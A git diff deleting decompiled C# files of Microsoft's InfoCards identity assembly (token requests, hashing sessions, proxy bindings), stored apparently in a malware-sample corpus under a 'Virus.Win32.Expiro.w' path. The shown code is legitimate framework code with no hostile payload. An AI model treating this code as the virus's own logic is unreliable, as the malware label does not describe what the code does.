a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetTokenRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetTokenRequest.cs deleted file mode 100644 index 26664db0..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetTokenRequest.cs +++ /dev/null @@ -1,258 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetTokenRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Net; -using System.Security.Cryptography; -using System.Security.Principal; -using System.ServiceModel.Description; -using System.Text; -using System.Threading; - -namespace Microsoft.InfoCards -{ - internal class GetTokenRequest : ClientUIRequest - { - private InfoCardPolicy[] m_policyChain; - private InfoCardPolicy m_policy; - private TokenDescriptor m_token; - private ITokenFactory m_tokenFactory; - private LedgerEntry m_ledgerEntry; - private InfoCard m_selectedCard; - private Recipient m_recipient; - private object m_createSecurityTokenDoneMonitor = new object(); - private bool m_isProcessingComplete = true; - private bool m_userProceededToCreateToken; - - public GetTokenRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - InfoCardUIAgent uiAgent, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, uiAgent, rpcHandle, inArgs, outArgs, InfoCardUIAgent.CallMode.GetToken, ExceptionList.AllNonFatal) - { - } - - public TokenDescriptor Token => this.m_token; - - public InfoCardPolicy Policy - { - get => this.m_policy; - protected set => this.m_policy = value; - } - - protected Recipient GetRecipient() - { - if (this.m_recipient == null) - this.m_recipient = new Recipient(this.m_policy.Recipient, false, this.m_policy.PrivacyPolicyVersion); - return this.m_recipient; - } - - protected override void OnMarshalInArgs() - { - BinaryReader reader = (BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode); - int length = reader.ReadInt32(); - this.m_policyChain = length > 0 && length <= 50 ? new InfoCardPolicy[length] : throw InfoCardTrace.ThrowHelperError((Exception) new InfoCardArgumentException(SR.GetString("InvalidPolicyLength"))); - for (int index = 0; index < length; ++index) - { - string recipientXml = Utility.DeserializeString(reader); - string issuerXml = Utility.DeserializeString(reader); - string policyXml = Utility.DeserializeString(reader); - string privacyUrl = Utility.DeserializeString(reader); - uint privacyVersion = reader.ReadUInt32(); - bool isManaged = reader.ReadBoolean(); - this.m_policyChain[index] = PolicyFactory.CreatePolicyForGetTokenRequest(reader, recipientXml, issuerXml, policyXml, isManaged); - if (index == 0) - this.m_policyChain[index].SetRecipientInfo(this.m_policyChain[0].ImmediateTokenRecipient, privacyUrl, privacyVersion); - else - this.m_policyChain[index].SetRecipientInfo(this.m_policyChain[0].ImmediateTokenRecipient, this.m_policyChain[0].PrivacyPolicyLink, this.m_policyChain[0].PrivacyPolicyVersion); - } - int index1 = length - 1; - if (this.m_policyChain[index1].IsManaged) - { - if (index1 == 0) - throw InfoCardTrace.ThrowHelperError((Exception) new InfoCardArgumentException(SR.GetString("InvalidPolicyLength"))); - --index1; - } - this.m_policy = this.m_policyChain[index1]; - this.m_policy.Validate(); - } - - protected override void OnProcess() => this.StartAndWaitForUIAgent(); - - protected override void OnMarshalOutArgs() - { - BinaryWriter bwriter = new BinaryWriter(this.OutArgs, Encoding.Unicode); - this.m_token.Write(bwriter); - SymmetricAlgorithm symmetricProof = this.m_token.SymmetricProof; - (symmetricProof != null ? CryptoSession.Create(this.CallerProcess, this.m_token.ExpirationTime, this.RequestorIdentity, symmetricProof.Key) : CryptoSession.Create(this.CallerProcess, this.m_token.ExpirationTime, this.RequestorIdentity, this.GetPrivateCryptography())).Write(bwriter); - } - - protected RSACryptoServiceProvider GetPrivateCryptography() => this.m_selectedCard.GetPrivateCryptography(this.GetRecipient().RecipientId); - - protected override void OnDisposeAsUser() - { - base.OnDisposeAsUser(); - if (this.m_token == null) - return; - this.m_token.Dispose(); - this.m_token = (TokenDescriptor) null; - } - - public void CancelSelectCard() - { - this.m_userProceededToCreateToken = false; - this.m_isProcessingComplete = true; - } - - public int SelectCard(InfoCard card, bool isSelfIssued) - { - lock (this.m_createSecurityTokenDoneMonitor) - { - while (this.m_userProceededToCreateToken && !this.m_isProcessingComplete) - Monitor.Wait(this.m_createSecurityTokenDoneMonitor); - this.m_userProceededToCreateToken = false; - this.m_isProcessingComplete = false; - int index1 = 0; - TokenCreationParameter parameter = (TokenCreationParameter) null; - ServiceEndpoint endPoint = (ServiceEndpoint) null; - IWebProxy proxy = (IWebProxy) null; - StoreConnection connection = StoreConnection.GetConnection(); - try - { - card.Connection = connection; - if (!isSelfIssued) - { - if (1 == card.CreationParameters.Count) - { - index1 = 0; - parameter = card.CreationParameters[index1]; - } - else - { - for (int index2 = 0; index2 < card.CreationParameters.Count; ++index2) - { - try - { - endPoint = RemoteTokenFactory.DoMexExchange(card.CreationParameters[index2], this.UserProxy); - index1 = index2; - parameter = card.CreationParameters[index1]; - break; - } - catch (TrustExchangeException ex) - { - if (index2 == card.CreationParameters.Count - 1) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("InvalidServiceUri"))); - } - } - } - proxy = this.UserProxy; - } - } - finally - { - connection.Close(); - } - this.m_tokenFactory = TokenFactoryFactory.Create(card, parameter, endPoint, proxy); - this.m_selectedCard = card; - return index1; - } - } - - public void CancelCreateSecurityToken() - { - if (this.m_tokenFactory != null) - this.m_tokenFactory.Abort(); - this.m_userProceededToCreateToken = true; - } - - public DisplayToken CreateSecurityToken( - TokenFactoryCredential credential, - bool discloseOptional) - { - lock (this.m_createSecurityTokenDoneMonitor) - { - try - { - this.m_ledgerEntry = this.GetLedgerEntry(); - if (this.m_token != null) - { - this.m_token.Dispose(); - this.m_token = (TokenDescriptor) null; - } - using (credential) - this.m_token = this.m_tokenFactory.CreateToken(this.m_selectedCard, credential, this.m_policy, discloseOptional); - this.m_ledgerEntry.DisclosureDate = DateTime.UtcNow; - this.m_ledgerEntry.DisclosedClaims = new string[this.m_token.DisclosedClaims.Count]; - for (int index = 0; index < this.m_token.DisclosedClaims.Count; ++index) - this.m_ledgerEntry.DisclosedClaims[index] = this.m_token.DisclosedClaims[index]; - Array.Clear((Array) this.m_selectedCard.Key, 0, this.m_selectedCard.Key.Length); - return this.m_token.DisplayToken; - } - finally - { - this.m_isProcessingComplete = true; - this.m_userProceededToCreateToken = true; - Monitor.Pulse(this.m_createSecurityTokenDoneMonitor); - } - } - } - - private LedgerEntry GetLedgerEntry() - { - LedgerEntry entry = (LedgerEntry) null; - StoreConnection connection = StoreConnection.GetConnection(); - try - { - entry = this.m_selectedCard.TryGetLedgerEntry(connection, this.m_policy.Recipient.GetIdentifier()); - if (entry == null) - entry = this.m_selectedCard.CreateLedgerEntry(this.GetRecipient(), this.m_policy.ImmediateTokenRecipient.GetOrganizationIdentifier()); - else - this.m_selectedCard.CheckAndUpdateLedgerEntry(entry, this.m_policy.ImmediateTokenRecipient.GetOrganizationIdentifier()); - } - finally - { - connection.Close(); - } - return entry; - } - - public void SaveLedgerEntry() - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - connection.BeginTransaction(); - try - { - this.m_ledgerEntry.Save(connection); - connection.CommitTransaction(); - } - catch - { - connection.RollbackTransaction(); - throw; - } - } - finally - { - connection.Close(); - } - } - - public enum TrustDecision : byte - { - NoTrustDecision, - IsTrusted, - IsNotTrusted, - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetUserPreferenceRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetUserPreferenceRequest.cs deleted file mode 100644 index 57e22e49..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GetUserPreferenceRequest.cs +++ /dev/null @@ -1,50 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetUserPreferenceRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class GetUserPreferenceRequest : UIAgentRequest - { - private UserPreference m_userPreference; - - public GetUserPreferenceRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - this.m_userPreference = (UserPreference) null; - } - - protected override void OnMarshalInArgs() - { - } - - protected override void OnProcess() - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - this.m_userPreference = UserPreference.Get(connection); - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() - { - if (this.m_userPreference == null) - return; - this.m_userPreference.Serialize(this.OutArgs); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GlobalId.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GlobalId.cs deleted file mode 100644 index e958a691..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/GlobalId.cs +++ /dev/null @@ -1,125 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GlobalId -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Globalization; -using System.Runtime.InteropServices; -using System.Security.Cryptography; -using System.Text; - -namespace Microsoft.InfoCards -{ - [StructLayout(LayoutKind.Explicit, Size = 16)] - internal struct GlobalId - { - public const int StructSize = 16; - public static readonly GlobalId Empty = (GlobalId) Guid.Empty; - private static readonly byte[] HASHPREFIX = new byte[16] - { - (byte) 126, - (byte) 85, - (byte) 219, - (byte) 17, - (byte) 52, - (byte) 221, - (byte) 70, - (byte) 150, - (byte) 168, - (byte) 123, - (byte) 15, - (byte) 254, - (byte) 196, - (byte) 77, - (byte) 155, - (byte) 168 - }; - - public GlobalId(string guidString) - : this(new Guid(guidString)) - { - } - - public GlobalId(byte[] guidBytes) - : this(new Guid(guidBytes)) - { - } - - public unsafe GlobalId(Guid guid) - { - fixed (GlobalId* globalIdPtr = &this) - *globalIdPtr = (GlobalId) guid; - } - - public byte[] ToByteArray() => ((Guid) this).ToByteArray(); - - public override int GetHashCode() => ((Guid) this).GetHashCode(); - - public override bool Equals(object obj) - { - switch (obj) - { - case GlobalId _: - case Guid _: - return (GlobalId) obj == this; - default: - return false; - } - } - - public override string ToString() => ((Guid) this).ToString("D"); - - public static bool operator !=(GlobalId a, GlobalId b) => !(a == b); - - public static unsafe bool operator ==(GlobalId a, GlobalId b) - { - byte* numPtr1 = (byte*) &a; - byte* numPtr2 = (byte*) &b; - for (int index = 0; index < sizeof (GlobalId); ++index) - { - if ((int) numPtr1[index] != (int) numPtr2[index]) - return false; - } - return true; - } - - public static unsafe implicit operator Guid(GlobalId id) => *(Guid*) &id; - - public static unsafe implicit operator GlobalId(Guid guid) => *(GlobalId*) &guid; - - public static GlobalId DeriveFrom(string value) - { - value = !string.IsNullOrEmpty(value) ? value.Trim() : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (value)); - value = value.ToLower(CultureInfo.InvariantCulture); - using (SHA256Managed shA256Managed = new SHA256Managed()) - { - byte[] numArray = new byte[Encoding.Unicode.GetByteCount(value) + GlobalId.HASHPREFIX.Length]; - Array.Copy((Array) GlobalId.HASHPREFIX, 0, (Array) numArray, 0, GlobalId.HASHPREFIX.Length); - Encoding.Unicode.GetBytes(value, 0, value.Length, numArray, GlobalId.HASHPREFIX.Length); - byte[] hash = shA256Managed.ComputeHash(numArray); - return new GlobalId(new byte[16] - { - hash[3], - hash[2], - hash[1], - hash[0], - hash[5], - hash[4], - hash[7], - (byte) ((int) hash[6] & 15 | 48), - (byte) ((int) hash[8] & 63 | 128), - hash[9], - hash[10], - hash[11], - hash[12], - hash[13], - hash[14], - hash[15] - }); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/HandleDictionary`1.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/HandleDictionary`1.cs deleted file mode 100644 index 7a0f32a6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/HandleDictionary`1.cs +++ /dev/null @@ -1,53 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.HandleDictionary`1 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; - -namespace Microsoft.InfoCards -{ - internal class HandleDictionary - { - private const int m_MaxSessionCount = 1073741823; - private Dictionary m_internalDictionary; - private Random m_random; - - public int MaxSize => 1073741823; - - public TVal this[int Key] - { - get => this.m_internalDictionary[Key]; - set - { - if (!this.ContainsHandle(Key)) - throw InfoCardTrace.ThrowHelperError((Exception) new KeyNotFoundException()); - this.m_internalDictionary[Key] = value; - } - } - - public HandleDictionary() - { - this.m_internalDictionary = new Dictionary(); - this.m_random = new Random(); - } - - public int GetNewHandle() - { - if (this.m_internalDictionary.Count >= 1073741823) - throw InfoCardTrace.ThrowHelperError((Exception) new MaxSessionCountExceededException()); - int key = this.m_random.Next(); - while (this.m_internalDictionary.ContainsKey(key) || key == 0) - key = this.m_random.Next(); - this.m_internalDictionary[key] = default (TVal); - return key; - } - - public bool Remove(int key) => this.m_internalDictionary.Remove(key); - - public bool ContainsHandle(int key) => this.m_internalDictionary.ContainsKey(key); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/HashCoreRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/HashCoreRequest.cs deleted file mode 100644 index 9b3233bd..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/HashCoreRequest.cs +++ /dev/null @@ -1,55 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.HashCoreRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class HashCoreRequest : ClientRequest - { - private int m_cryptoSession; - private byte[] m_inBlock; - - public HashCoreRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, rpcHandle, inArgs, outArgs) - { - } - - protected override void OnMarshalInArgs() - { - BinaryReader binaryReader = (BinaryReader) new InfoCardBinaryReader(this.InArgs); - this.m_cryptoSession = binaryReader.ReadInt32(); - int count = binaryReader.ReadInt32(); - this.m_inBlock = binaryReader.ReadBytes(count); - InfoCardTrace.ThrowInvalidArgumentConditional(0 == this.m_cryptoSession, "cryptoSession"); - } - - protected override void OnProcess() - { - try - { - ((HashCryptoSession) CryptoSession.Find(this.m_cryptoSession, this.CallerPid, this.RequestorIdentity.User)).HashCore(this.m_inBlock); - } - finally - { - Array.Clear((Array) this.m_inBlock, 0, this.m_inBlock.Length); - } - } - - protected override void OnMarshalOutArgs() - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/HashCryptoSession.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/HashCryptoSession.cs deleted file mode 100644 index 5b9ed564..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/HashCryptoSession.cs +++ /dev/null @@ -1,60 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.HashCryptoSession -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Cryptography; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class HashCryptoSession : CryptoSession - { - private KeyedHashAlgorithm m_hash; - - public HashCryptoSession( - Process process, - DateTime expiration, - WindowsIdentity identity, - KeyedHashAlgorithm hash) - : base(process, expiration, identity, (object) hash, CryptoSession.SessionType.Hash) - { - this.m_hash = hash; - } - - protected override void OnDispose() - { - this.m_hash.Clear(); - this.m_hash.Dispose(); - this.m_hash = (KeyedHashAlgorithm) null; - } - - protected override void OnWrite(BinaryWriter bwriter) - { - bwriter.Write(this.m_hash.HashSize); - bwriter.Write(this.m_hash.InputBlockSize); - bwriter.Write(this.m_hash.OutputBlockSize); - bwriter.Write(this.m_hash.CanTransformMultipleBlocks); - bwriter.Write(this.m_hash.CanReuseTransform); - } - - public void HashCore(byte[] inData) => this.m_hash.TransformBlock(inData, 0, inData.Length, (byte[]) null, 0); - - public byte[] HashFinal(byte[] inData) - { - try - { - this.m_hash.TransformFinalBlock(inData, 0, inData.Length); - } - finally - { - this.m_hash.Initialize(); - } - return this.m_hash.Hash; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/HashFinalRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/HashFinalRequest.cs deleted file mode 100644 index 52897bfc..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/HashFinalRequest.cs +++ /dev/null @@ -1,54 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.HashFinalRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class HashFinalRequest : ClientRequest - { - private int m_cryptoSession; - private byte[] m_inBlock; - private byte[] m_outBlock; - - public HashFinalRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, rpcHandle, inArgs, outArgs) - { - } - - protected override void OnMarshalInArgs() - { - BinaryReader binaryReader = (BinaryReader) new InfoCardBinaryReader(this.InArgs); - this.m_cryptoSession = binaryReader.ReadInt32(); - int count = binaryReader.ReadInt32(); - this.m_inBlock = binaryReader.ReadBytes(count); - InfoCardTrace.ThrowInvalidArgumentConditional(0 == this.m_cryptoSession, "cryptoSession"); - } - - protected override void OnProcess() - { - try - { - this.m_outBlock = ((HashCryptoSession) CryptoSession.Find(this.m_cryptoSession, this.CallerPid, this.RequestorIdentity.User)).HashFinal(this.m_inBlock); - } - finally - { - Array.Clear((Array) this.m_inBlock, 0, this.m_inBlock.Length); - } - } - - protected override void OnMarshalOutArgs() => Utility.SerializeBytes(new BinaryWriter(this.OutArgs), this.m_outBlock); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/HashUtility.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/HashUtility.cs deleted file mode 100644 index a9a30607..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/HashUtility.cs +++ /dev/null @@ -1,54 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.HashUtility -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Security.Cryptography; - -namespace Microsoft.InfoCards -{ - internal static class HashUtility - { - public const string HashAlgorithmName = "SHA256"; - private static object s_lock = new object(); - private static SHA256Managed s_hasher = new SHA256Managed(); - - public static int HashBitLength => HashUtility.s_hasher.HashSize; - - public static int HashBufferLength => HashUtility.HashBitLength / 8; - - public static void SetHashValue(byte[] data, int dataIndex, byte[] dataToHash) - { - if (dataToHash == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (dataToHash)); - HashUtility.SetHashValue(data, dataIndex, dataToHash, 0, dataToHash.Length); - } - - public static void SetHashValue( - byte[] data, - int dataIndex, - byte[] dataToHash, - int dataToHashIndex, - int dataToHashSize) - { - if (data == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (data)); - if (dataIndex < 0 || dataIndex >= data.Length) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (dataIndex), (object) dataIndex, SR.GetString("StoreHashUtilityDataOutOfRange"))); - if (dataToHash == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (dataToHash)); - if (dataToHashIndex < 0 || dataToHashIndex > dataToHash.Length) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (dataToHashIndex), (object) dataToHashIndex, SR.GetString("StoreHashUtilityDataToHashOutOfRange"))); - if (dataToHashSize < 0 || dataToHashSize > dataToHash.Length - dataToHashIndex) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (dataToHashIndex), (object) dataToHashIndex, SR.GetString("StoreHashUtilityDataToHashOutOfRange"))); - byte[] sourceArray = (byte[]) null; - lock (HashUtility.s_lock) - sourceArray = HashUtility.s_hasher.ComputeHash(dataToHash, dataToHashIndex, dataToHashSize); - Array.Copy((Array) sourceArray, 0, (Array) data, dataIndex, sourceArray.Length); - Array.Clear((Array) sourceArray, 0, sourceArray.Length); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/HttpProxyTransportBindingElement.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/HttpProxyTransportBindingElement.cs deleted file mode 100644 index f910f7b4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/HttpProxyTransportBindingElement.cs +++ /dev/null @@ -1,102 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.HttpProxyTransportBindingElement -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System.Net; -using System.ServiceModel.Channels; - -namespace Microsoft.InfoCards -{ - internal class HttpProxyTransportBindingElement : TransportBindingElement - { - private static object proxyLock = new object(); - private HttpTransportBindingElement innerHttpTransport; - private IWebProxy proxy; - - public static BindingElementCollection ReplaceHttpTransportWithProxy( - BindingElementCollection bindingElements, - IWebProxy proxy) - { - int index1 = -1; - for (int index2 = 0; index2 < bindingElements.Count; ++index2) - { - if (bindingElements[index2] is HttpTransportBindingElement) - { - index1 = index2; - break; - } - } - if (index1 == -1) - return bindingElements; - InfoCardTrace.Assert(index1 == bindingElements.Count - 1, "Transport should be last in the Binding Element list"); - HttpTransportBindingElement bindingElement = (HttpTransportBindingElement) bindingElements[index1]; - HttpProxyTransportBindingElement transportBindingElement = new HttpProxyTransportBindingElement(proxy, bindingElement); - bindingElements[index1] = (BindingElement) transportBindingElement; - return bindingElements; - } - - private HttpProxyTransportBindingElement( - IWebProxy proxy, - HttpTransportBindingElement innerHttpTransport) - { - this.innerHttpTransport = innerHttpTransport; - this.proxy = proxy; - } - - private HttpProxyTransportBindingElement(HttpProxyTransportBindingElement elementToBeCloned) - : base((TransportBindingElement) elementToBeCloned) - { - this.innerHttpTransport = elementToBeCloned.innerHttpTransport; - this.proxy = elementToBeCloned.proxy; - } - - public override long MaxBufferPoolSize - { - get => this.innerHttpTransport.MaxBufferPoolSize; - set => this.innerHttpTransport.MaxBufferPoolSize = value; - } - - public override long MaxReceivedMessageSize - { - get => this.innerHttpTransport.MaxReceivedMessageSize; - set => this.innerHttpTransport.MaxReceivedMessageSize = value; - } - - public override string Scheme => this.innerHttpTransport.Scheme; - - public override IChannelFactory BuildChannelFactory( - BindingContext context) - { - lock (HttpProxyTransportBindingElement.proxyLock) - { - IWebProxy defaultWebProxy = WebRequest.DefaultWebProxy; - try - { - WebRequest.DefaultWebProxy = this.proxy; - return this.innerHttpTransport.BuildChannelFactory(context); - } - finally - { - WebRequest.DefaultWebProxy = defaultWebProxy; - } - } - } - - public override IChannelListener BuildChannelListener( - BindingContext context) - { - return this.innerHttpTransport.BuildChannelListener(context); - } - - public override bool CanBuildChannelFactory(BindingContext context) => this.innerHttpTransport.CanBuildChannelFactory(context); - - public override bool CanBuildChannelListener(BindingContext context) => this.innerHttpTransport.CanBuildChannelListener(context); - - public override BindingElement Clone() => (BindingElement) new HttpProxyTransportBindingElement(this); - - public override T GetProperty(BindingContext context) => this.innerHttpTransport.GetProperty(context); - } -} diff --git 